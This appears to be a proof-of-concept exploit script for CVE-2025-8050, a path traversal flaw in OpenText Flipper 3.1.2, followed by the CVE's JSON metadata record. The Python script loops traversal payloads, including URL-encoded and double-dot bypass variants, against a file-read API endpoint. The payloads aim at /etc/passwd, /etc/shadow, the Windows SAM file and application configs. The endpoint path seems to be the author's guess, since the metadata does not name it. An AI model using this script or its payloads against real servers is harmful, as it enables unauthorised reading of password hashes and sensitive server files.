CVE-2025-8050

# CVE-2025-8050 - OpenText Flipper Path Traversal PoC # This PoC demonstrates the path traversal vulnerability in OpenText Flipper 3.1.2 import requests # Target configuration TARGET_URL = "https://target-flipper-server.com" AUTH_TOKEN = "your_auth_token_here" # Low-privilege authenticated session token # Headers for authenticated request headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } def exploit_path_traversal(target_endpoint, traversal_payload): """ Exploit path traversal by injecting ../ sequences into file path parameters """ # Construct malicious URL with path traversal payload url = f"{TARGET_URL}{target_endpoint}" params = { "file": traversal_payload, "path": traversal_payload, "filename": traversal_payload } try: response = requests.get(url, headers=headers, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success! Payload: {traversal_payload}") print(f"[+] Response length: {len(response.text)}") print(f"[+] Content preview: {response.text[:500]}") return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None # Example payloads for path traversal payloads = [ "../../../../etc/passwd", # Linux passwd file "../../../../etc/shadow", # Linux shadow file "..\\..\\..\\..\\windows\\system32\\config\\SAM", # Windows SAM file "../../../../config/application.properties", # Application config "../../../../WEB-INF/web.xml", # Java web app config "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", # URL-encoded traversal "....//....//....//etc/passwd", # Double-dot bypass "..%252f..%252f..%252fetc%252fpasswd", # Double-URL-encoded ] # Execute exploitation for payload in payloads: print(f"\n[*] Trying payload: {payload}") result = exploit_path_traversal("/flipper/api/file/read", payload) if result: break

{"cve": {"id": "CVE-2025-8050", "sourceIdentifier": "[email protected]", "published": "2025-10-21T18:15:36.927", "lastModified": "2025-10-28T16:16:46.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "External Control of File Name or Path vulnerability in opentext Flipper allows Path Traversal. \n\nThe vulnerability could allow a user to access files hosted on the server.\n\nThis issue affects Flipper: 3.1.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:U/V:D/RE:M/U:Green", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "PRESENT", "Automatable": "YES", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "GREEN"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opentext:flipper:3.1.2:*:*:*:*:*:*:*", "matchCriteriaId": "9E0F3913-F439-4C0A-82C8-AAEEEEBED8FD"}]}]}], "references": [{"url": "https://support.opentext.com/csm?id=ot_kb_unauthenticated&sysparm_article=KB0850526", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}